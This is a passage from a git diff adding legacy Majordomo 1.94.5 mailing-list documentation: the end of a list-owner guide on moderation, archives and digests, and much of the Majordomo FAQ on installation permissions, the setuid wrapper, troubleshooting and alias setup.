+ + +Moderation +========== + +If your list is moderated, (the moderate parameter in the config +file is yes) then messages without an "Approved:" line are bounced, +just as described above. To cause them to be posted to the list, you +add a valid "Approved:" line and send them back, just as described +above. + +Again, the "approve" program automates all this if you wish to use it. You +can also use the above pre-approval method to send your own messages +without them being bounced back to you. + +If you have any questions about all of this, send them to the Majordomo-Owner +address shown at the top of this file. + + +Restricting Posting +=================== + +An easier alternative to moderation is to restrict who can post to the +list, which can be done with the restrict_post configuration variable. +The variable requires a file listing the people who can post. + +The most common case is to limit posting to people who are subscribed +to the list. This keeps out advertisements and other junk mail sent +by non-subscribers. Since majordomo already has a file of subscribers, +you don't need to create and maintain a file, so it's easy to set. + +Change the restrict_post line to this, where is the name of +your list: + +restrict_post = + +If you want to restrict posting to any other set of people, you'll +need to ask majordomo-owner for help. Unfortunately there's no way to +tell majordomo about keeping another file of people who are allowed to +post, so a file would have to be set in place "by hand". Some future +release of majordomo may provide a way to do this automatically. + + +Archive +======= + +Archiving has to be set or unset by the system administrators reached +at majordomo-owner@FooBar.COM. It is not the default but must be +requested. Here is what can be done. + +Archive files can be split by years, months, or days. This means all +mail to the list for one of those periods of time will be collected +into one archive file. People who want to get archived mail will need +to get one such file as a unit. + +We are running an indexer program nightly. It produces two index files +that subscribers can get: CONTENTS lists what subject lines are in each +archive file; TOPICS lists what archive files contain each subject. + +Subscribers use the "get" command to see files in the archives. Examples: + get ListName CONTENTS # gets the CONTENTS file + get ListName ListName.9507 # gets the July 1995 archive file + +Access to archives is controlled by the get_access variable in the +config file. The default "list" means they must be subscribers to get +archived files. + +Subscribers can also get a list of filenames and dates in the archive +by sending an "index" command. Example: + index ListName + +This is controlled by the config file variable index_access similarly. + +Notes on archiving. + + - It's possible for the archive to contain files besides the indexes + and the archive files of messages. However, majordomo offers no + method for you to put them there. In an unusual case you can ask + majordomo-owner to put a file there for you. + + - Archiving could be accomplished by directing a copy of messages to + some other place besides the majordomo archive. Ask, if you have + something in mind. + + +Digest +======= + +A digest version of a list is a way to reduce the number of messages sent +from Majordomo to subscribers. Normally, each message to the list is +remailed to all the subscribers, but with a digest, several messages are +collected into a batch and then sent together as one message. This does +not reduce the total size too much, although there are fewer mail header +lines-- the main purpose is to reduce the number of separate messages. +This actually helps the mail systems at both ends, and may help subscribers +reduce clutter in their mailboxes. + +A Majordomo digest is actually a separate mailing list. The digest of +ListName would normally be called ListName-digest. + +People subscribe independently to ListName and ListName-digest. +Very likely no one would want to be on both lists. To change between +ListName and ListName-digest, a subscriber needs to unsubscribe +from one list and subscribe to the other. This can be done with one +message to majordomo@FooBar.COM with two command lines in it, e.g.: + unsubscribe ListName + subscribe ListName-digest + +Remember that ListName-digest will have its own information file and +configuration file. Change them, if you want to, when you change the +same files for ListName. + +Majordomo will send a digest automatically when the size of the digest +exceeds the size given as max_length in the configuration file of the +digest list. The default max_length is 40 K. Thus the interval +between digests can vary, but they will be of a predictable size. + +The listowner can also tell Majordomo to make a digest (meaning, compile +and send out a digest) by sending the command mkdigest at any time: + mkdigest ListName-digest password + +A daily digest (or for some other time period) could be achieved by +setting the max_length high enough so as not to be reached normally in +a day, and then setting up a job to run daily that sends mail to +Majordomo with the mkdigest command. On a unix system, give the +commands "man crontab" and "man 5 crontab" at the shell for an +explanation of such jobs, or ask majordomo-owner for help. + diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.html b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.html new file mode 100644 index 0000000..0484b67 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo-faq.html @@ -0,0 +1,1456 @@ + + +Majordomo Frequently Asked Questions (FAQ) + + +
    +Version: $Id: majordomo-faq.html,v 1.4 2000/01/13 12:54:41 cwilson Exp $
    +URL: http://www.visi.com/~barr/majordomo-faq.html
    +Archive-Name: mail/majordomo-faq
    +Posting-Frequency: monthly
    +
    +Note: This FAQ has been recently updated to be exclusively for Majordomo 1.94 +and up.

    + +Table of Contents: +

      +
    1. What is Majordomo and how can I get it? + +
    2. Problems setting up Majordomo + +
    3. Setting up mailing lists and aliases + +
    4. Mailer and list administration problems + +
    +This FAQ is Copyright 1996 by David Barr and The Ohio State +University. This document may be reproduced, so long as it is kept +in its entirety and in its original format. +

    +Credits:
    +This FAQ originally written by Vincent D. Skahan. Many thanks to the +members of the majordomo-workers and majordomo-users mailing lists for +many of the questions and answers found in this FAQ. Thanks to +fen@comedia.com (Fen Labalme) for getting an HTML version started. +

    +You can get an HTML version of this FAQ on the World Wide Web +at +http://www.visi.com/~barr/majordomo-faq.html. +You can request a copy by email by sending a message to +mail-server@rtfm.mit.edu, with the following text in the body:

    +

    +send usenet/comp.mail.list-admin.software/Majordomo_Frequently_Asked_Questions
    +
    +If you have any questions or submissions regarding +this FAQ, send them to barr@visi.com (David Barr). +

    +


    +

    Section 1: What is Majordomo and how can I get it?

    + +

    1.1 - What is Majordomo?

    + +Majordomo is a program which automates the management of Internet +mailing lists. Commands are sent to Majordomo via electronic mail to +handle all aspects of list maintenance. Once a list is set up, +virtually all operations can be performed remotely, requiring no +intervention upon the postmaster of the list site. +

    +See the main Majordomo web page at:
    +http://www.greatcircle.com/majordomo/ +

    +Majordomo controls a list of addresses for some mail transport system +(like sendmail or smail) to handle. Majordomo itself performs no mail +delivery (though it has scripts to format and archive messages). +

    +

    +majordomo - n: a person who speaks, makes arrangements, or takes charge +for another. From latin "major domus" - "master of the house". +

    +Majordomo is written in +Perl. +It will work with Perl 4.036 or Perl 5.002 or greater. +It will not work with Perl 5.001!!!. +It is recommended that you use +the latest release of Perl that you can get. You can find it at +http://www.perl.com/perl/. +You must upgrade to version 1.94.3 in order for it to work with Perl +5.004, due to changes in regular expressions. +Unfortunately, Majordomo does NOT work with Perl 5.005_01, due +to a bug in Perl with respect to regular expressions. Use +Perl 5.005_02 (or greater). +While Majordomo is still compatible with Perl 4.036, future versions +will likely be Perl 5 only.

    + +RedHat 5.2 is unfortunately shipping a prerelease version of +Perl ("5.004m4") with some of their Linux distributions. This version +is buggy and won't work with Majordomo (you will get "Unknown mailer +error 9" errors). +Download an install the 5.004 or 5.005 RPM instead, or download +and updated RPM from updates.redhat.com. + +Many people have been having problems with Majordomo on DEC OSF/1 +AXP systems. Apparently Perl on the Alphas is not as stable +as compared to other platforms, and Majordomo tickles bugs in +that port of Perl. If you are having problems, please make +sure you are running the very latest version of Perl (version +5.002 is known to work). There haven't been recent reports in +this area, so it's assumed that later versions also work.

    + +There have also been reported problems with the native compiler +for AIX 3.2.5. Perl compiled with that compiler will crash +when running Majordomo (even though it passes all the regression +tests), however if you compile Perl with gcc it will work.

    + +Majordomo was developed under UNIX based systems, but could be made to +work on others. If you can get Perl to compile and run cleanly on +your system, and can send Internet mail by piping or calling an external +program (and that external program reads its list of recipients +from a plain text file), you can probably get Majordomo to work +on a wide variety of UNIX-based and non-UNIX based systems. There +is no known port of Majordomo to Windows NT, Win95 or Mac. For more +information, +see the comp.os.msdos.mail-news FAQ. +At last check there was a port of an old version (1.93) to MS-DOS/Waffle, and +an old version (1.93) ported to OS/2. These probably aren't all that +helpful for anyone porting Majordomo to NT.

    + +Here's a short list of some of the features of Majordomo. +

    +

      +
    • supports various types of lists, including moderated ones. +
    • List options can be set easily through a configuration file, + editable remotely. +
    • Supports archival and remote retrieval of messages. +
    • Supports digests. +
    • Written in Perl, - easily customizable and expandable. +
    • Modular in design. +
    • Includes support for FTPMAIL. +
    • Supports confirmation of subscriptions (to protect against forged +subscription requests). +
    • List filters +
    +

    +See other references throughout this FAQ for some further notes on +using these packages. + +

    1.2 - Where do I get Majordomo?

    +

    +Via the Web at:
    +http://www.greatcircle.com/majordomo/ +Via anonymous FTP at:
    +ftp://ftp.greatcircle.com/pub/majordomo/
    +ftp://ftp.sgi.com/other/majordomo/
    +ftp://ftp.sgi.com/other/majordomo/

    + +The current version is 1.94.4. It includes a security fix for a bug found in +1.94.3 and prior.

    + +If you don't have Perl, you can get it from: +

    +http://www.perl.com/perl/ +

    +Use that link for more information about Perl, too. + +The FTPMAIL package can be found in +ftp://src.doc.ic.ac.uk/packages/ftpmail +or any comp.sources.misc +archive (volume 37). +

    +Majordomo 2 is currently being developed by Jason Tibbits. Currently +it's "alpha" quality. Join +the majordomo-workers list (see below) if you want to use this release. +You can find out how to get Majordomo 2, as well as information about +this release at +http://www.hpc.uh.edu/majordomo/ +

    + + +

    1.3 - How do I install it?

    + +Majordomo comes with a rather extensive INSTALL file. Read this file +completely. There's also a README file which covers some common +problems. This FAQ is meant to be a supplement to Majordomo's +documentation, not a replacement for it. If you have any questions +that this FAQ doesn't cover, chances are that it is covered in +the documentation in the Majordomo distribution. +For anyone who is going to run a list, you must read Doc/list-owner-info +before trying to do anything. If you don't have access to the +system where your list is being run, the Majordomo maintainer who +set up your list should have sent it to you. Bug him if he didn't, or +download it from the Majordomo distribution. +

    +If you have permission problems unpacking the distribution, +try using the 'o' flag to tar to ignore user/group information.

    + +Although Majordomo is written in Perl, it does have one component +written in C that must be compiled. This 'wrapper' program runs +"setuid" and ensures that all Majordomo functions operate with the +proper permissions. You will need root access to install this program +with the correct privileges.

    + +Majordomo interfaces to the mail system (sendmail, exim, etc) +through aliases. Adding aliases is generally a root-bound process. +However, on some systems the process can be delegated to a separate +file under your control.

    + +Once you get past the above two requirements, it is possible to +maintain Majordomo lists without root access. At best, your local +sysadmin would only be bothered twice -- once for the +installation, and once for designating a separate alias file for +your use.

    + +Majordomo 1.x is designed to work with +sendmail, however will work +with other UNIX-based mailers. For more information on setting up +Majordomo with other mailers, see the following pages: + +

    + +

    1.4 - How do I upgrade from an earlier release?

    + +Be sure to browse the "Changelog" file to get an idea +what has changed. There currently is no canned set of instructions for +upgrading from an earlier release. The most straightforward method is +to simply install the current release in a different directory, (with +the same list/archive/digest directories) and change the mail aliases +for each list to use the new Majordomo scripts as soon as you feel +comfortable with the new setup.

    + +Be careful when upgrading to 1.94 that you update your $mailer and +$bounce_mailer variables in your majordomo.cf! There are some +other new variables too. You may want to update the list .config +files so they contain any new variables found in the new release. +You just need to do a 'writeconfig' for each list, and majordomo +will update the .config file using the existing values in the old +.config file. Any new variables will be set to defaults for a new list. +

    + + +

    1.5 - Where do I report bugs or get help with Majordomo?

    +Please DO NOT ask the FAQ maintainer for help on Majordomo. I will +accidentally delete your message. I'm sorry, I don't have time to do +consulting on Majordomo. I am not a Majordomo help service. I, +along with many others, do answer questions on the mailing lists. +Let me say that about 90% +of the answers I get are from the documentation or this FAQ. Many +of the rest are answered by reading the source. It's really not that +hard to figure out. The remainder of the questions I get are usually +sendmail questions, which really should be asked in +comp.mail.sendmail.

    + +If you need help, there is a mailing list +majordomo-users@greatcircle.com, which is frequented by lots of users +of Majordomo. Report actual bugs to majordomo-workers@greatcircle.com. +It's a good idea to search or browse the list archives below for the last +couple months since many of the same questions are asked (and answered) +regularly. There are searchable list archives (thanks to +Jason Tibbitts) at +http://www.hpc.uh.edu/majordomo-users/ and +http://www.hpc.uh.edu/majordomo-workers/. +

    +Be sure always to include which version of Majordomo you are using. +You should also include what +operating system you are using, what version of Perl, and what mailer +(sendmail, smail, qmail, etc) and version you are using, especially if you +can't get Majordomo to work at all. But first, you must have +thoroughly read the ALL the documentation in the Majordomo distribution +and this FAQ. If you got this FAQ from the Majordomo distribution +or anywhere except from the WWW site at the top of this document +it is probably not the most recent version. +

    +There is an FTP site for unofficial patches. +See http://sol.ccsf.cc.ca.us/ftp/majordomo-patches/ . +What's in it? Messages that are saved from the majordomo-users and +-workers mailing lists. There are INDEX +files in each part with one-line summaries of each patch, and a README +file in the top directory with overall information. +If you have patches that you think should be +in the archive, you can FTP or email them in. The top-level README file +tells how to do it. Please contribute -- to save other people the headaches +you had. NOTE: The patches are NOT "official" patches approved by Chan Wilson +or anyone else. Use your own judgment before (and after) you apply them. +

    +Nick Perry also has various patches for 1.94.3 at +ftp://ftp.amulation.co.uk/pub/majordomo_patches/. They are patches which add various functions +to majordomo. +

    +Do NOT ask questions about +Majordomo on the list-managers@greatcircle.com list. That list is for general +discussions about running mailing lists, not for help on specific +packages. The same goes for the Usenet group comp.mail.list-admin.policy. +

    +There is a good guide for people running majordomo lists at +http://docuspace.uchicago.edu/dpc/general/g_maj-adm.html.

    + +Look for a great book out now from O'Reilly +and Associates called "Managing Mailing Lists", by Alan Schwartz. +You can read my review of the book at +http://www.visi.com/~barr/managing-maillist-review.html. I was +one of the book's technical reviewers. +You can order the book at a discount (currently 20%) from +amazon.com +via the web: +

    +Besides getting you the book at a discounted price, using this link earns +Great Circle Associates a small commission, which helps pay for their support of +the majordomo and list-managers mailing lists, as well as distributing majordomo +on their FTP site. +

    + +

    1.6 - Which is better, Majordomo or LISTSERV?

    + +For a good comparison of various mailing list managers (MLM's) +there's a good FAQ by Norm Aleks. It is posted monthly to +news.answers and comp.mail.list-admin.software. It's +also mirrored at the following URL. + +http://www.faqs.org/faqs/mail/list-admin/software-faq. + +Contact naleks@library.ummed.edu (Norm Aleks) for more information.

    + + +

    1.7 - How can I access Majordomo via the Web?

    +There are various Web interfaces to Majordomo available. Some are +management interfaces for list maintenance, and some are interfaces +for list archives (some do searching too). + +

    +

    1.8 - Is Majordomo Y2K (Year 2000) compliant?

    + +The current release of Majordomo has no known year 2000 issues. Older +versions had problems only if you used the "archive" program to maintain +list archives, since it used only a 2-digit year. If you use the new +4-digit year flags to archive you should not have any year 2000 problems. +

    +No one has officially certified Majordomo to be Y2K compliant, and I +don't foresee anyone paying money to do so, so don't go looking for someone +to sue if it breaks. All we are saying is that we know of no year 2000 +issues with Majordomo. +

    +That being said, as you can see by reading the Majordomo source, except +for the "archive" program majordomo doesn't directly deal with dates +so it's extremely unlikely there are any year 2000 issues. Even +places where it does use dates (archive) it doesn't do any date comparisons, +which is the crux of all non-cosmetic year 2000 bugs. At worst "archive" +would overwrite your 100-year-old mailing list archives. I really +really doubt Majordomo will still be used for 100 years.

    + +


    +

    Section 2: Problems setting up Majordomo

    + +

    2.1 - What are the proper permissions and ownership of all Majordomo files and directories?

    + +By far the biggest problem in setting up Majordomo is getting all the +permissions and ownerships right. In part this is due to the security +model that Majordomo uses, and it's also due to the fact that it's hard +to automate this process. Once you install majordomo, run "./wrapper config-test" as some other user (like you) and read the results. Do NOT +run "./wrapper config-test" as 'root' or your 'majordom' user. That will +defeat the test of the wrapper operation. The config-test script will +check your installation for correct permissions (as well as other tests) +and report any problems. It's not quite perfect, but it catches 95% +of all problems.

    + +Majordomo works by using a small C "wrapper" which works by allowing +it to always run as the "majordom" user and group that you +create. (note that the wrapper may disappear in a future release, +since its function could safely be replaced by features found in Perl +5) You can use a different name than "majordom" for your user and +group, but that is what is assumed for the explanations found in this +document. The 1.94.3 INSTALL file suggests using 'daemon' as your +majordomo group. This is the group that 'sendmail' runs as, and allows +you to have $homedir permissions set to 750. This has the disadvantage +in environments where there may be one or more administrators of +the Majordomo system or where you don't want to always have to +'su' to the majordomo user to do administration. (you don't really +want to put other normal users in the 'daemon' group for security reasons) +If you create a separate 'majordom' group and add yourself and other majordomo +administrators to it, then you'll need to make sure the $homedir and +wrapper have world execute permission, and you may have to add 'majordom' +to the 'trusted' list of users in your sendmail.cf. (otherwise sendmail 8.x +will probably give "X-Authentication-Warning:"'s)

    + +Because Majordomo does not run with any "special" (root) +privileges, and because of the fact that Majordomo does a lot of +.lock-style locking (with shlock.pl), permissions on all files and +directories are critical to the correct operation of Majordomo.

    + +

    The wrapper

    +The wrapper is compiled in one of two ways, by uncommenting the correct +section in the Makefile for your type of system. If you are unsure if +your system is POSIX or not, I would suggest you assume that your system +is not. (The default is POSIX) If things don't work right (for +example you get symptoms of permission problems or you get an error +from the wrapper saying to recompile using POSIX flags), then +try POSIX.

    + +Some systems which are non-POSIX: SunOS 4.x, Ultrix, most BSD 4.2 and 4.3-based +systems. POSIX systems include: Solaris 2.x, IRIX 5.x, BSDI +(and other 4.4 BSD-based systems), Linux.

    + +Make sure W_PATH is right in the Makefile. On IRIX 5.x, you need to +add /usr/bsd to the W_PATH to get the +hostname (needed by Perl) command. (IRIX doesn't have a +/usr/ucb). + +If you are on a non-POSIX system, the wrapper must be both suid and +sgid (mode 6755) to "majordom". It must not be setuid root! +

    +OR +

    +On a POSIX system the wrapper must be setuid root, and double-check +that W_USER and W_GROUP are the uid and gid of the "majordom" user and +group. Don't ever set W_USER to be 0!

    + +Then compile the wrapper and install it. Do not install the wrapper on +an NFS filesystem mounted with the "nosuid" option set. This will prevent the +wrapper from working. + +

    Majordomo files

    +All files that majordomo creates will be mode 660, user "majordom", +group "majordom" if it is running correctly (see $config_umask in +the majordomo.cf). The "Log" file that +Majordomo writes logging information to must have this same permission +and ownership. Make sure any files you create by hand (.config, +subscription lists) have this same permission and ownership. (they can +also be mode 664 if you don't need the contents to be private to +others) The permissions/ownership of the Majordomo programs and +related files themselves aren't as critical, but the must all be +readable to the "majordom" user/group. All Majordomo programs +(majordomo, resend, etc.) must have the execute bit set. All Majordomo +programs must have the correct path to Perl in the #! line in the +beginning of the script. The 'make install' process should do this +all automatically for you. + +

    Majordomo directories

    +All directories under Majordomo's control ($homedir, $listdir, +$digest_work_dir, $filedir, as defined in your majordomo.cf) +must be at least mode 750 (or 755 if you don't use "daemon" as your majordomo +group -- see 2.3below.). They should be user and group +owned by "majordom". If want to allow a local user to be able to +directly modify files or for example copy files into a list's +archive directory, you may make the directory or file owned +by that user. However directories and files must be +then group-"majordom" writable (770 or 775).

    + +

    2.2 - I get a MAJORDOMO ABORT with "chown(...): Not owner" or ".. Operation not permitted"

    +Most likely your wrapper is not installed correctly. Re-check the +Makefile and see if the wrapper was compiled with the right UID and +GID. See the README and the above section on how +to set the permissions correctly. Make sure after you fix the wrapper +that you remove (or rename) any "listname.new" or "L.listname" files found +in your lists directory. These will likely have the wrong ownerships, and +cause you problems.

    +You should have seen an error if you ran "./wrapper config-test" as a +non-root, non-majordom user. If not, +it's a bug in config-test and should be fixed. + +

    2.3 - I get "sh: wrapper: cannot execute" or "wrapper: permission denied"

    +This is a bug in the 1.94 Makefile. You'll see this in new installs of +Majordomo if you don't use a majordomo group of 'daemon'. The +majordomo $homedir needs to have permission of at least 751 (or 755), +not 750. Otherwise, sendmail won't have permission to execute the wrapper. +You'll need to do a 'chmod 755 $homedir' after you install majordomo. +Make sure 'wrapper' also has world execute permission. Some people +also have put the user 'daemon' in the 'majordom' group. This works too. + +

    2.4 - I get "Unknown mailer error" when majordomo runs

    +First, see Question 4.13 if you are running +RedHat 5.2 and are getting "Unknown mailer error 9".

    + +If something is wrong with your setup, the wrapper will often exit +with various return codes depending on what the problem is. In order +to really understand what is going on, look at the session transcript +further down in the bounce message to see the error which is returned +from the wrapper or from Majordomo. You should usually see some sort +of error message. If you just get a return code, check the Majordomo +README for further explanation on sendmail return codes. If you get +"Unknown mailer error XX" where XX is less than 255, look for the +error in /usr/include/errno.h . Otherwise, see the README.

    + +See section 1.1 above for what versions of +Perl won't work with Majordomo.

    + +[reported by Russell Street]
    +You may also get problems when messages to majordomo are queued (for +example if you change sendmail's behavior to always queue messages +rather than perform immediate delivery). The problem was that if +sendmail queues a message it smashes the case in command lines and +addresses when the queue gets processed. This is in spite of the lines +shown by mailq. This is sendmail 5.x on Solaris 2.3, but it might +apply to other versions of sendmail. + +

    2.5 - I get an error "insecure usage" from the wrapper

    +The argument to "wrapper" should be simply be the command, not +the full path to the command. "wrapper" has where to look +compiled in to it (the "W_HOME" setting in the +Makefile) and for security reasons will not let you specify another +directory. +

    +Your alias should say for example: +

    + +majordomo: |"/path/to/majordomo/wrapper majordomo" + +

    + +

    2.6 - I get "majordomo: No such file or directory" from the wrapper

    +Make sure that the #! statement at the beginning of all the Majordomo +Perl executables contain the correct path to the perl program (the +default is /usr/local/bin/perl). Note many UNIXes have a 32 +character limit on that path -- make sure it doesn't exceed this +limit. Make sure also that majordomo and all the +related scripts are in the W_HOME directory as defined in the Makefile +when you compiled the wrapper.

    + + +

    2.7 - I get an error "Can't locate majordomo.pl"

    +[from Brent Chapman]
    +Majordomo adds "$homedir" from the majordomo.cf file to the @INC array +before it goes looking for "majordomo.pl". Since it's not finding it, +I'd guess you have one of two problems: +

    +1) $homedir is set improperly (or not set at all; there is no default) +in your majordomo.cf file. +

    +2) majordomo.pl is not in $homedir, or is not readable. +

    +[from John P. Rouillard]
    +3) Note that the new majordomo.cf file checks to see if the environment +variable $HOME is set first, and uses that for $homedir. Since the +wrapper always sets HOME to the correct directory, you get a nice +default, unless you are running a previously built wrapper, in which +case you may get the wrong directory. +

    +[from Andreas Fenner]
    +4) I had the same problem when I installed majordomo (1.62). +My Problem was a missing ";" in the majordomo.cf file - just in the line +before setting homedir .... +My hint for you: Check your perl-files carefully. +

    + + +

    2.8 - I told my majordomo.cf where to archive the list, why isn't it working?

    +[From John Rouillard]
    +The archive variables in majordomo.cf aren't used to archive anything. +You have to use a separate archive program, or a sendmail alias to do +the archiving. The info is used to generate a directory where the +archive files are being placed by some other mechanism. +

    +You are telling majordomo to look in the directory: + + /usr/local/mail/majordomo/archive/listname +

    +for files that it should allow to be retrieved using the get command. +

    +Majordomo comes with three different archive programs that run under +wrapper that do various types of archiving. Look in the contrib +directory. +

    + +

    2.9 - config-test can't seem to find ctime.pl or resend can't find getopts.pl

    +ctime.pl and getopts.pl are included in the standard Perl distribution. +If it can't find it, it means Perl was not installed correctly. Re-install +Perl. (you may want to take the opportunity to upgrade Perl, too) + +

    2.10 - A list is visible via lists, but can't subscribe or 'get' files

    +[From Brent Chapman]
    +I'll bet your list name has capital letters in it... Majordomo +smashes all list names to all-lower-case before attempting to use the +list name as part of a filename. So, while it's OK to advertise (for +instance) "Majordomo-Users" and have the headers say +"Majordomo-Users", the file names and archive directory names themselves +all need to be in lower case. If you want to use mixed case, simply +configure the list using the lower-case names everywhere, except +put the mixed-case version in the "-l" and "-h" flags to resend.

    + +

    2.11 - I get "sh: wrapper not available for sendmail programs"

    +You're on a system which uses smrsh. (sendmail restricted shell). You have +to configure smrsh to allow it to execute the wrapper. Normally this +is done by creating a symlink in /var/adm/sm.bin (in some it's /etc/smrsh) to Majordomo's wrapper program.

    +

    2.12 - I get "aliasing/forwarding loop broken"

    +[ Reported by Wade Williams ]
    +Some people have noted sendmail will generate a bounce message if you send +to a list, but the list file is empty (there are no subscribers). Add a +subscriber to the list and the error should go away. +

    +You will also get this error if the permissions on the list file for that +list in the lists directory are too strict. If the list directory or list +file is not readable by sendmail, you will also get the error "Cannot open +/path/to/lists/listname: Permission denied". See Section +2.1 above for the full discussion of how to correctly set permissions +on directories and files within Majordomo.

    +

    +


    +

    +

    Section 3: Setting up mailing lists and aliases

    + +

    3.1 - How do I direct bounces to the right address?

    +You should use 'resend' to filter all messages. Make sure the "sender" +variable in the list config file points to "owner-listname" and that you have +defined the "owner-listname" alias to point to the owner of the list. +

    +What this does is force outgoing mail to have the out-of-band envelope +FROM be "owner-listname", and thus all bounces will be +redirected to that address. (This address is what gets copied into the +message body as the "From " or "Return-Path:" header). 'resend' also +inserts a "Sender:" line with the same address to help people identify +where it came from, but that header is not used in the bounce process. +

    +If you are using sendmail v8.x, you don't have to use 'resend' to +do the same thing. You simply have to define an alias like this: +

    +owner-sample: joe, +

    +Note the trailing comma is necessary to prevent sendmail from resolving +the alias first before putting it in the header. Without the comma, it +will put "joe" in the envelope from instead of "owner-sample". Either +address will work, of course, but the generic address is preferred +should the owner ever change. +

    +However if you choose not to use 'resend', you will have to do without +most of majordomo's other features like moderating, administrivia +checks, and others. +

    + +

    3.2 - Semi-automated handling of bounced mail

    +This is not true automation of bounced mail. What this does is the +next best thing. You unsubscribe the user from the list, but add the +user to a special 'bounces' list (there's a perl script +in the distribution called bounce you run to make this easier) +The majordomo maintainer then runs (out of cron) the 'bounce-remind' +script periodically, which sends mail to all the people on the bounces +list, saying essentially "you were removed from list 'foo' because +mail to you bounced. To subscribe yourself back to the list, send +the following commands ...". There's no facility yet for trimming +the bounces list, but it's easy to write one because the date the +person was added to the bounces list is included (so you could write +a perl script which removes anyone on the list for more than one week, +assuming you run bounce-remind more than once a week). There's +no facility for automatically detecting what addresses are failing. +You have to determine that based on the bounce messages you receive +from other sites.

    + +[From John Rouillard]
    +Just create a mailing list called "bounces". I usually set mine up as +an auto list just to make life easier. +

    +All that "bounce" script does is create an email message to majordomo that +says: +

    +   approve [passwd] unsubscribe [listname] [address]
    +   approve [passwd] subscribe bounces [address]
    +
    +The [address] and [listname], are given on the command line to +bounce. The address of the majordomo, and the passwords are +retrieved from the .majordomo file in your home directory. +

    +A sample .majordomo file might look like (shamelessly stolen from the +comments at the top of the bounce script): +

    +   this-list       passwd1         Majordomo@This.COM
    +   other-list      passwd2         Majordomo@Other.COM
    +   bounces         passwd3         Majordomo@This.COM
    +   bounces         passwd4         Majordomo@Other.COM
    +
    + +A command of "bounce this-list user@fubar.com" will mail the +following message to Majordomo@This.COM: +
    +   approve passwd1 unsubscribe this-list user@fubar.com
    +   approve passwd3 subscribe bounces user@fubar.com (930401 this-list)
    +
    +while a command of "bounce other-list user@fubar.com" will mail the +following message to Majordomo@Other.COM: +
    +   approve passwd2 unsubscribe other-list user@fubar.com
    +   approve passwd4 subscribe bounces user@fubar.com (930401 this-list)
    +
    +Note that the date and the list the user was bounced from are included +as a comment in the address used for the "subscribe bounces" command. +

    + + +

    3.3 - What's this Owner-List and List-Owner stuff? Why both?

    +[From David Barr]
    +The "standard" is spelled out in +RFC 1211 - "Problems +with the Maintenance of Large Mailing Lists". +

    +It's here where the "owner-listname" and "listname-request" concepts +got their start. (well it was before this, but this is where it was +first spelled out) +

    +Personally, I don't use "listname-owner" anywhere. You don't really +have to put both, since the "owner" alias is usually only for bounces, +which you add automatically anyway with resend's "-f" flag, or having +Sendmail v8.x's "owner-listname" alias. +

    +(while I'm on the subject) +The "-approval" is a Majordomo-ism, and is only necessary if you want +bounces and approval notices to go to different mailboxes. (though +you'll have to edit some code in majordomo and request-answer if +you want to get rid of the -approval alias, since it's currently +hardwired in) +

    +So, to answer your question, I'd say "no". You don't have to have both. +You should just have "owner-list". +

    + + +

    3.4 - How should I configure resend for Reply-To headers?

    + +Whether you should have a "Reply-To:" or not depends on the charter of +your list and the nature of its users. If the list is a discussion +list and you generally want replies to go back to the list, you +can include one. Some people don't like being told what to do, +and prefer to be able to choose whether to send a private reply +or a reply to the list just by using the right function on their +mail agent. Take note that if you do use a "Reply-To:", then some +mail agents make it much harder for a person on the list to send a +private reply. The most important reason why Reply-To: to the list +is bad is that it can cause mail loops if any of the members of +your list are running fairly-common but broken software which +doesn't know what an envelope address is. (Many Microsoft products, +as well as many other PC-based non-SMTP/Internet mail systems which +work through an SMTP gateway.) +

    +You should read the following FAQ on why you shouldn't set the Reply-To: field. +http://www.unicom.com/pw/reply-to-harmful.html +

    +If you are using resend, use the 'reply_to' configuration variable +in the list .config file. +

    + + +

    3.5 - How can I hide lists so they can't be viewed by 'lists'?

    +That is what advertise and noadvertise are for. These two variables take +regular expressions that are matched against the from address of the +sender. A list display follows the rules: +

    +

      +
    1. If the from address is on the list, it is shown. + +
    2. If the from address matches a regexp in noadvertise (e.g. /.*/) the list + is not shown. + +
    3. If the advertise list is empty, the list is shown unless 2 applies. + +
    4. If the advertise list is non-empty, the from address must match + an address in advertise. Otherwise the list is not shown. Rule 2 + applies, so you could allow all hosts in umb.edu except hosts in + cs.umb.edu. +
    +

    + +

    3.6 - How can I restrict a list such that only subscribers can send mail to the list?

    +See the restrict_post variable in the config file. Just set it +to the filename that holds the list of subscribers, which is just simply +the name of the list. ("restrict-post = listname"). + +However, there is an issue to keep in mind. Majordomo +works by filtering the messages coming in through the "listname" alias, +doing its dirty work, then passing the resulting message out to another +alias you define like "listname-outgoing". If you trust people to not +send mail directly to the "listname-outgoing" alias, then you'll be +fine. If however you're not trusting, there are several steps to +make sure people don't bypass the restrictions of the list.

    + +There are several methods. First you need to change your +"listname-outgoing" alias such that it is not obvious. (That means +don't use something easy to guess like "-outgoing" or "-list"). +Next, you need to make it such that people can't find out what +your -outgoing alias is.

    + +You can use the "@filename" directive of resend. Put the all the +normal command-line options of resend into a file readable only by the +majordomo user/group. Then the alias for the list simply becomes +".../resend @/path/to/filename". This will make it such that you can't +find out the -outgoing address by connecting to your mailer and doing an +EXPN or +VRFY. The "@filename" directive seems to have fallen into undocumentation +for some reason. This should be fixed in future releases. This +doesn't prevent a user reading the local /etc/aliases file (if they can), +however. +

    + +Another approach is to simply disable EXPN or VRFY altogether. See the +documentation for your mailer on how to do this. In sendmail this is +done by adding "noexpn" to the "O PrivacyOptions=" line in your +sendmail.cf (multiple options are separated with a comma). However +this doesn't prevent a local user reading the aliases file. This isn't +generally a problem if your mail server is restricted to staff only +users.

    + +Unfortunately, Sendmail 8.x will log your -outgoing alias in the +"Received:" lines. To prevent this you need to specify more than +one address for the list name argument to resend. (for example +"mylist:|"/usr/local/lib/majordomo/wrapper resend -h foo.org -l +mylist mylist-seekrit,nobody"" where nobody is an alias for +/dev/null) For Sendmail 8.x you must not +define an alias 'owner-mylist-seekrit' to be something like +'owner-mylist,' (with the comma). Otherwise sendmail will set the +envelope address of outgoing mail to contain your secret outgoing +alias. Again if you're using the @filename directive, the entire +command line is simply put into the specified file (starting with +"-h foo.org ...".

    + +Here's another creative idea from matt@primefactor.com (Matt Perry):

    +I've had a report that this no longer works with sendmail 8.9.1

    +Sendmail allows you to rewrite incoming and outgoing addresses. The one +that handles incoming is virtualusertable.text. For a list called test +with the test-outgoing alias, I put the following into my +virtualusertable.text file and remade the db with the appropriate command:

    + +

    +test-outgoing@mydomain.com      error:nouser User unknown
    +
